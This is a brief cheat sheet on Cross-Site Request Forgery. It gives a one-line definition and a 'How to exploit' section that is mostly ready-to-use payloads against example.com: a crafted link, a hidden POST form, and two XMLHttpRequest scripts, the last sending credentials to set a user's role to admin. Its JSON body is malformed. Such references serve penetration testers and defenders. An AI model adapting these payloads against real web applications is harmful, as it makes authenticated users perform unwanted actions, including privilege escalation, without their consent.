Cross Site Request Forgery (CSRF)

Introduction

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated

How to exploit

1. HTML GET Method

<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>

2. HTML POST Method

<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="uname" />
 <input type="submit" value="Submit Request" />
</form>

3. JSON GET Method

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

4. JSON POST Method

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>